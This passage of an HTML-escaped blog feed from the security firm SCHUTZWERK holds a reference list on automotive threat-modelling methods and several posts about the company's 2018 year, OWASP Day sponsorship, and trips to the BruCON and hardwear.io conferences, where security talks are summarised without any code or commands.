&lt;span class="link-label">Energy&lt;/span>
&lt;/a>&lt;a
href="https://www.hs-karlsruhe.de/ieem/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Efficient&lt;/span>
&lt;/a>&lt;a
href="https://www.hs-karlsruhe.de/ieem/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Mobility&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
at University of Applied Sciences Karlsruhe (co-referee: Prof. Dr. Reiner Kriesten, supervisor Jürgen Dürrwang and Florian Sommer).&lt;/em>&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;section class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1" role="doc-endnote">
&lt;p>[&lt;strong>Composite&lt;/strong>] Stijn van Winsen. &lt;em>Threat Modelling for Future Vehicles, On Identifying and Analysing Threats for Future Autonomous and Connected Vehicles&lt;/em>. Master Thesis. Kerckhoffs Institute Faculty of Electrical Engineering, Mathematics and Computer Science University of Twente: University of Twente, Jan. 2017, &lt;a href="https://essay.utwente.nl/71792/1/Master_Thesis20170214-FINAL%20PUBLIC.pdf">https://essay.utwente.nl/71792/1/Master_Thesis20170214-FINAL%20PUBLIC.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2" role="doc-endnote">
&lt;p>[&lt;strong>SGM&lt;/strong>] J. Dürrwang, K. Beckers, and R. Kriesten. “A Lightweight Threat Analysis Approach Intertwining Safety and Security for the Automotive Domain”. In: Computer Safety, Reliability, and Security. International Conference on Computer Safety, Reliability, and Security. Lecture Notes in Computer Science. Springer, Cham, Sept. 12, 2017, pp. 305–319. D I: &lt;a href="https://doi.org/10.1007/978-3-319-66266-4_20">https://doi.org/10.1007/978-3-319-66266-4_20&lt;/a>.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3" role="doc-endnote">
&lt;p>[&lt;strong>STRIDE&lt;/strong>] S. Hernan, S. Lambert, T. Ostwald, and A. Shostack. “Threat Modeling-Uncover Security Design Flaws Using the STRIDE Approach”. In: MSDN Magazine (Jan. 1, 2006), pp. 68–75. L: &lt;a href="http://download.microsoft.com/download/3/a/7/3a7fa450-1f33-41f7-9e6d-3aa95b5a6aea/MSDNMagazineNovember2006en-us.chm">http://download.microsoft.com/download/3/a/7/3a7fa450-1f33-41f7-9e6d-3aa95b5a6aea/MSDNMagazineNovember2006en-us.chm&lt;/a>.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4" role="doc-endnote">
&lt;p>[&lt;strong>SAHARA&lt;/strong>] G. Macher, H. Sporer, R. Berlach, E. Armengaud, and C. Kreiner. “SAHARA: A Security-Aware Hazard and Risk Analysis Method”. In: 2015 Design, Automation Test in Europe Conference Exhibition (DATE). 2015 Design, Automation Test in Europe Conference Exhibition (DATE). Mar. 2015, pp. 621–624. D I: &lt;a href="https://doi.org/10.7873/DATE.2015.0622">https://doi.org/10.7873/DATE.2015.0622&lt;/a>.&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5" role="doc-endnote">
&lt;p>[&lt;strong>CHASSIS&lt;/strong>] C. Raspotnig, P. Karpati, and V. Katta. “A Combined Process for Elicitation and Analysis of Safety and Security Requirements”. In: Enterprise, Business-Process and Information Systems Modeling. Lecture Notes in Business Information Processing. Springer Berlin Heidelberg, 2012, pp. 347–361. D I: &lt;a href="https://doi.org/10.1007/978-3-642-31072-0_24">https://doi.org/10.1007/978-3-642-31072-0_24&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6" role="doc-endnote">
&lt;p>[&lt;strong>FMVEA&lt;/strong>] C. Schmittner, T. Gruber, P. Puschner, and E. Schoitsch. “Security Application of Failure Mode and Effect Analysis (FMEA)”. In: Computer Safety, Reliability, and Security. Ed. by A. Bondavalli and F. Di Giandomenico. Lecture Notes in Computer Science. Cham: Springer International Publishing, 2014, pp. 310–325. D I: &lt;a href="https://doi.org/10.1007/978-3-319-10506-2_21">https://doi.org/10.1007/978-3-319-10506-2_21&lt;/a>.&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7" role="doc-endnote">
&lt;p>[&lt;strong>HEAVENS&lt;/strong>] M. M. Islam, A. Lautenbach, C. Sandberg, and T. Olovsson. “A Risk Assessment Framework for Automotive Embedded Systems”. In: Proceedings of the 2Nd ACM International Workshop on Cyber-Physical System Security. CPSS ’16. New York, NY, USA: ACM, 2016, pp. 3–14. D I: &lt;a href="https://doi.org/10.1145/2899015.2899018">https://doi.org/10.1145/2899015.2899018&lt;/a>.&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8" role="doc-endnote">
&lt;p>[&lt;strong>EVITA&lt;/strong>] O. Henniger, A. Ruddle, H. Seudié, B. Weyl, M. Wolf, and T. Wollinger. “Securing Vehicular On-Board IT Systems: The EVITA Project”. In: VDI/VW Automotive Security Conference. Ingolstadt, Germany, Oct. 2009.&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9" role="doc-endnote">
&lt;p>[&lt;strong>SINA&lt;/strong>] K. Schmidt, P. Tröger, H.-M. Kroll, T. Bünger, F. Krueger, and C. Neuhaus. “Adapted Development Process for Security in Networked Automotive Systems”. In: SAE International Journal of Passenger Cars - Electronic and Electrical Systems 7.2 (Apr. 1, 2014), pp. 516–526. D I: &lt;a href="https://doi.org/10.4271/2014-01-0334">https://doi.org/10.4271/2014-01-0334&lt;/a>.&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10" role="doc-endnote">
&lt;p>[&lt;strong>OCTAVE&lt;/strong>] C. J. Alberts, S. G. Behrens, R. D. Pethia, and W. R. Wilson. &amp;ldquo;Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE) Framework, Version 1.0&amp;rdquo;. Software Engineering Institute, Carnegie Mellon University, Pittsburgh, Pennsylvania, Technical Report CMU/SEI-99-TR-017, 1999. &lt;a href="http://resources.sei.cmu.edu/library/asset-view.cfm?AssetID=13473">http://resources.sei.cmu.edu/library/asset-view.cfm?AssetID=13473&lt;/a>.&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11" role="doc-endnote">
&lt;p>[&lt;strong>PASTA&lt;/strong>] T. Ucedavélez and M. Morana. Risk Centric Threat Modeling: Process for Attack Simulation and Threat Analysis. John Wiley &amp;amp; Sons, May 2015. 1-664. L: &lt;a href="http://dx.doi.org/10.1002/9781118988374">http://dx.doi.org/10.1002/9781118988374&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12" role="doc-endnote">
&lt;p>[&lt;strong>Trike&lt;/strong>] Saitta, Paul, Larcom, Brenda, and Eddington, Michael. Trike v. 1 Methodology Document [Draft]. July 13, 2005. L: &lt;a href="http://www.octotrike.org/papers/Trike_v1_Methodology_Document-draft.pdf">http://www.octotrike.org/papers/Trike_v1_Methodology_Document-draft.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13" role="doc-endnote">
&lt;p>[&lt;strong>VAST&lt;/strong>] ThreatModeler Software, Inc. Threat Modeling Methodology | OCTAVE, STRIDE, PASTA,Trike, VAST. Sept. 15, 2018. L: &lt;a href="https://go.threatmodeler.com/process-flow-diagrams-vs-data-flow-diagrams-in-threat-modeling">https://go.threatmodeler.com/process-flow-diagrams-vs-data-flow-diagrams-in-threat-modeling&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14" role="doc-endnote">
&lt;p>[&lt;strong>TMTe4PT&lt;/strong>] TMTe4PT on GitHub: &lt;a href="https://www.github.com/schutzwerk/tmte4pt">https://www.github.com/schutzwerk/tmte4pt&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/section></description></item><item><title>So long 2018 - Hello 2019</title><link>https://www.schutzwerk.com/en/blog/machs-gut-2018-hallo-2019/</link><author>SCHUTZWERK GmbH</author><pubDate>Fri, 18 Jan 2019 13:00:00 +0100</pubDate><category>news</category><description>
&lt;h2 id="team">Team&lt;/h2>
&lt;p>With two new employees in Ulm and two new employees in Hamburg, we have successfully expanded our team.&lt;/p>
&lt;h2 id="competences">Competences&lt;/h2>
&lt;p>We were able to further expand our competencies, particullary in the embedded, automotive and cloud security area. In addition to assessments in the Azure and AWS environments, penetration tests of whole vehicles and ECUs were a key focus in 2018.&lt;/p>
&lt;h2 id="operational-goals">Operational goals&lt;/h2>
&lt;p>Together with our customers we have successfully mastered more than 100 projects and were able to achieve our own goals.&lt;/p>
&lt;h2 id="outlook">Outlook&lt;/h2>
&lt;p>Strategically, we are continuing to focus on expanding our services in the automotive and cloud security area, which have become an core component alongside our services in the classic areas of web, mobile and infrastructure assessments. Above all, however, we look forward to mastering further joint challenges with our customers.&lt;/p></description></item><item><title>SCHUTZWERK sponsors the 10th German OWASP Day</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-ist-sponsor-des-10-german-owasp-day/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 24 Oct 2018 13:00:00 +0100</pubDate><category>news</category><category>event</category><category>sponsor</category><description>
&lt;p>The 10th German OWASP Day will take place in Münster on the 20th of November. SCHUTZWERK GmbH is an official sponsor of the event.&lt;/p>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://owasp.github.io/german-owasp-day/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">German&lt;/span>
&lt;/a>&lt;a
href="https://owasp.github.io/german-owasp-day/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">OWASP&lt;/span>
&lt;/a>&lt;a
href="https://owasp.github.io/german-owasp-day/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Day&lt;/span>
&lt;/a>&lt;a
href="https://owasp.github.io/german-owasp-day/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2018&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, like every year, will be hosted by the German OWASP Chapter, this year for the tenth time. The German OWASP Day is the most important, independent and non-commercial conference on application security in Germany. The event offers exciting lectures on secure development, operation, testing and management in the field of applications. The focus is on web applications. Interdisciplinary, non-technical topics are also represented. We are looking forward to an interesting exchange on site.&lt;/p></description></item><item><title>Brucon 0x0A</title><link>https://www.schutzwerk.com/en/blog/brucon/</link><author>Tobias Arnold</author><pubDate>Mon, 15 Oct 2018 14:00:00 +0100</pubDate><category>event</category><category>talk</category><description>
&lt;p>Like in years past (nearly) the whole team met in Ghent for the unofficial second team event: the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.brucon.org/2018/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">BruCON&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. Next to trainings, talks and workshops the main focus was to have fun together. Therefore, the majority of the team – not all since the team has grown significantly over the last year – stayed at the band resort: a complete apartment in a prime location with lots of space, a beer fridge and a bar. In short: a perfect starting point for evening trips, of which more later.&lt;/p>
&lt;h2 id="the-training-session">The Training Session&lt;/h2>
&lt;p>Before the conference itself, five of us attended different trainings for two or three days. The subjects were chosen by personal interest and differed greatly like our daily business itself. From &lt;em>Practical IoT Hacking&lt;/em> over &lt;em>Offensive PowerShell for Red and Blue Teams&lt;/em> to &lt;em>Post Exploitation Adversary Simulations – Network Data Exfiltration Techniques&lt;/em> the offered trainings appealed to all tastes and interests.
Especially the &lt;em>Offensive Whiteboard Hacking for Penetration Testers&lt;/em> training was worth doing and inspired to do a company internal workshop to enhance our skills when creating customer offers. The goal: support the customer by conducting a threat analysis to tailor the offers even better to the needs of the customer.
The highlights of each training were already discussed while having one or another beer with the other team members who arrived the day before the conference started. More on this later.&lt;/p>
&lt;h2 id="the-conference">The Conference&lt;/h2>
&lt;p>This year the BruCON took place for the 10th time, traditionally in the beginning of October, in a building of the University of Ghent. The first impression when we walked through the entrance was exactly what we were expecting from previous years: friendly, open minded hackers, nerdy stuff wherever you look and beer. This was already evident in the badges that were needed to enter the building: a circuit board with console like buttons, a display, a battery and – matching the motto &lt;em>Hacking for Beer&lt;/em> - an alcohol tester (see picture).
Equipped with this badge we left the reception area and entered the main hall. Passing a lot of friendly people, the bar and the breakfast buffet, we headed to the single conference room and the talks.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/brucon/Badge1_hu560a5970c0c60ed602fe568f10cc6262_40457_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/brucon/Badge1_hu560a5970c0c60ed602fe568f10cc6262_40457_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/brucon/Badge1_hu560a5970c0c60ed602fe568f10cc6262_40457_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/brucon/Badge1.jpg"
width="900"
height="506"
alt="Badge"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Badge&lt;/figcaption>
&lt;/figure>
&lt;h3 id="talks">Talks&lt;/h3>
&lt;p>Especially for the 10th birthday, the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.brucon.org/2018/schedule/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">schedule&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
promised &lt;em>Retro Talks&lt;/em> for the whole first day of the conference. That&amp;rsquo;s why speakers from the last years were presenting the same topics but from today&amp;rsquo;s perspective.
Talks like &lt;em>Hacking driverless vehicles&lt;/em> showed an impressive progress in technology. New attack vectors for modern sensors were presented as well as the surprisingly small amount of effort and money needed to conduct some of them. For a demonstration, a faked GPS signal “teleported” the audience right into the White House.
&lt;em>Leveling Up Security @ Riot Games&lt;/em> also showed progress from the view of a company that has to protect their resources. The speaker compared the security e.g. from buildings from the last talk to the improved current state. Internal reorganizations and RFCs were the main focus.&lt;/p>
&lt;p>In contrast to the fast developing technology, other talks showed that some parts of the business can not keep up with the speed of change. In the first place the human itself. The main message of the &lt;em>Social engineering for &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">testers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/em> talk was: nothing has changed. The attacks are still the same and the awareness of potential attacks is low as ever. Therefore, the slides and presentation was nearly the same as at the 1st Brucon nine years ago. However the talk was educational, enriched with anecdotes and fun to attend.
A second example for minor changes in the past was &lt;em>The 99c heart surgeon dilemma&lt;/em> talk. For the original one, the speaker collected reports from different &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">testing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
companies showing the range in quality from useful to useless. The examples were quite funny and sometimes incredibly bad. Even tough all these companies with bad testing and reports do not longer exist, there are still a lot of bad practices today. Quality prevails even though new offensive security companies show up on a regular basis. However the good new for us: We are still here for nearly two decades, improving our knowledge and quality every day and hopefully living up to our high standards.&lt;/p>
&lt;h3 id="workshops">Workshops&lt;/h3>
&lt;p>Next to the talks, some workshops were offered. Some of us attended the &lt;em>Finding security vulnerabilities with modern fuzzing techniques&lt;/em>. For 4 hours we moved through hundreds of slides an several hands on practices. We wished we had at least a day for the workshop but since the slides and exercises materials were distributed, we took it home as a homework assignment.
Other workshops were more relaxing but not less informative.&lt;/p>
&lt;h3 id="entertaining-program">Entertaining Program&lt;/h3>
&lt;p>Beside all the educational content there was a wide range of entertainment offered. Starting from tasty food and drinks, a lot of interesting people to talk to and some competitive challenges. Some of us competed in the CTF with uncommon challenges like lock picking, others relaxed in the Retro Gaming Area and indulged in reminiscences.
On the second day, the badges, which until then had possessed the functionality of a stone, were flashed. Now everybody had an up to date scheduling and a map of the most important locations of the BruCON with oneself. This once again demonstrated that we are all different. While one of us immediately examined the new firmware, the others tested the functionality of the alcohol tester. Fortunately, all needed utilities where directly provided at the bar.
Other platforms like the Mentor/Mentee meeting as well as the BruCON party at the second day provided a great opportunity to socializing and make new contacts.
Furthermore, for all the hackers who wanted to defy the cliché of a nerd a hacker run was organized. At least one of us participated and enjoyed the beautiful city of Ghent at 7am during a 10km run.&lt;/p>
&lt;h2 id="evening-program">Evening Program&lt;/h2>
&lt;p>The evening before the conference, when the rest of the team not attending any trainings arrived the fridge was already filled with beer and the atmosphere was great. Even though Ghent has a beautiful cityscape we only made it across the street to “schotel”. Schotel is the Dutch word for dish/bowl, but for us it is the deep fried fast food traditionally eaten during BruCON. Back in the apartment, we emptied the fridge and enjoyed a great time together with no thought of work.
After the official program ended on the first day of the conference, we all met at the band resort again. Since the band resort is located in the middle of the city everything is within walking distance. A few beers laid the foundation of the construction of a beer can tower later (yes, it reached the ceiling in the end), we headed to a steak and burger restaurant which we discovered last year. On this occasion, we were able to admire the beautiful old houses, streets and churches and all agreed on the fact that Ghent is worth a longer visit. We will definitively return next year.&lt;/p></description></item><item><title>Visiting the hardwear.io 2018 conference in Den Haag</title><link>https://www.schutzwerk.com/en/blog/hardweario2018/</link><author>Michael Wolf</author><pubDate>Sat, 15 Sep 2018 14:34:15 +0100</pubDate><category>embedded security</category><category>event</category><category>reverse engineering</category><category>ctf</category><description>
&lt;p>For the second year SCHUTZWERK was a sponsor of the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://hardwear.io/archives/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">hardwear.io&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
conference in Den Haag. This year, we attended the conference with 3 employees focused on hardware and embedded security.&lt;/p>
&lt;h2 id="the-training-session">The Training Session&lt;/h2>
&lt;p>One of our hardware specialists, Heiko Ehret, learned how to reverse engineer a microchip in the training &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://hardwear.io/the-hague-2018/training/olivier-thomas.php"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">IC&lt;/span>
&lt;/a>&lt;a
href="https://hardwear.io/the-hague-2018/training/olivier-thomas.php"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">reverse&lt;/span>
&lt;/a>&lt;a
href="https://hardwear.io/the-hague-2018/training/olivier-thomas.php"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">engineering&lt;/span>
&lt;/a>&lt;a
href="https://hardwear.io/the-hague-2018/training/olivier-thomas.php"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">101&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
from Tuesday to Wednesday. In this training the principles of gaining access to the DIE of a chip were presented and in the practical part for example photos, which were taken with a scanning electron microscope (SEM), were analyzed to extract the computational structure as well as reading out the contents of the memories. Using these methods, you can analyze the chip for possible vulnerabilities. With this knowledge, intrusive attacks like microprobing, ion-beam or laser fault injection were planned against the target to gain control of the IC and extract information.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/hardweario2018/Training_hu8243f110caf4b0f82d60c9e7db7c70bf_121716_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/hardweario2018/Training_hu8243f110caf4b0f82d60c9e7db7c70bf_121716_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/hardweario2018/Training_hu8243f110caf4b0f82d60c9e7db7c70bf_121716_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/hardweario2018/Training.jpg"
width="1200"
height="783"
alt="Training Session IC reverse engineering 101"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Training Session IC reverse engineering 101&lt;/figcaption>
&lt;/figure>
&lt;h2 id="the-conference">The Conference&lt;/h2>
&lt;p>On the following days, two students joined him, visiting the conference.
At the registration, each attendee was given a &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://hardwear.io/the-hague-2018/badge-2018.php"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">badge&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and a &amp;ldquo;tag&amp;rdquo;. The badge is a small device capable of reading a tag through NFC and showing some information on the display. The tag is a wristband with an NFC business card, containing the name and Email address of the person. The first tag, assigned to the badge will &amp;ldquo;adopt&amp;rdquo; it and the name of the person is visible in a small screen on the badge. Then, the owner can collect further business cards simply by placing the tag to the reader of the badge. After the conference, the contact information can be collected with an USB cable from a PC.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/hardweario2018/Badge_hu98c39f81faa9011d519a4a0251453d12_963473_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/hardweario2018/Badge_hu98c39f81faa9011d519a4a0251453d12_963473_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/hardweario2018/Badge_hu98c39f81faa9011d519a4a0251453d12_963473_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/hardweario2018/Badge.jpg"
width="3264"
height="2448"
alt="Badge with Tag"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Badge with Tag&lt;/figcaption>
&lt;/figure>
&lt;p>The keynote was held by Kate Temkin, who explained her exploit for the Nintendo Switch and tried to promote the message, that the differences between securing hardware and software becomes more and more fluent and the developers of each camp need to work more closely together to develop secure devices. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://media.hardwear.io/spreading-the-load-building-a-better-hardware-hacking-community/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(Link&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/spreading-the-load-building-a-better-hardware-hacking-community/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/spreading-the-load-building-a-better-hardware-hacking-community/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Talk&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/spreading-the-load-building-a-better-hardware-hacking-community/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/spreading-the-load-building-a-better-hardware-hacking-community/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Video)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>The next speaker José Lopes Esteves, employed by the French intelligence service, talked about the threats of unmanned aerial vehicle (UAV) and how to stop them. Then, he presented a framework to analyze the communication to and from the drone and how to break it to gain control over the UAV. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://media.hardwear.io/strategies-to-harden-and-neutralize-uav-using-rf-dew/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(Link&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/strategies-to-harden-and-neutralize-uav-using-rf-dew/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/strategies-to-harden-and-neutralize-uav-using-rf-dew/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Talk&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/strategies-to-harden-and-neutralize-uav-using-rf-dew/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/strategies-to-harden-and-neutralize-uav-using-rf-dew/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Video)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>After a short coffee break, Brandon Wilson held an inspiring presentation about the history of hacking Texas Instruments (TI) graphing calculators. At the beginning it was easy for hardware enthusiasts to execute arbitrary code on the devices due to some hardware vulnerabilities. Later TI worked with the modders together and provided an API for reprogramming their calculators. However due to legal reasons and wishes of certain customers (schools mainly) they needed to prevent that and tried to implement protection mechanisms and even weren&amp;rsquo;t afraid of threatening with lawsuits. However, it did not prevent the community to continue their efforts. Brandon invited others to join them, because there are plenty of reasons you can trust a simple calculator under your control more than a highly complex computer. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://media.hardwear.io/the-race-to-secure-texas-instruments-graphing-calculators/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(Link&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/the-race-to-secure-texas-instruments-graphing-calculators/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/the-race-to-secure-texas-instruments-graphing-calculators/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Talk&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/the-race-to-secure-texas-instruments-graphing-calculators/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/the-race-to-secure-texas-instruments-graphing-calculators/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Video)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>After the lunch break, David Berend presented us his study about exploiting smartphone sensor data to extract the entered pin of the users. The access to the sensor data is not protected and every application (even java script code in the browser) can read it. Therefore every application on Android mobilephones has the ability to track the input of the user. Fortunately he also gave advice on how to protect oneself, but the best solution would be limiting the access of the valuable sensor data by Android itself. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://media.hardwear.io/there-goes-your-pin-exploiting-smartphone-sensor-fusion/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(Link&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/there-goes-your-pin-exploiting-smartphone-sensor-fusion/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/there-goes-your-pin-exploiting-smartphone-sensor-fusion/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Talk&lt;/span>
&lt;/a>&lt;a
href="https://media.hardwear.io/there-goes-your-pin-exploiting-smartphone-sensor-fusion/"
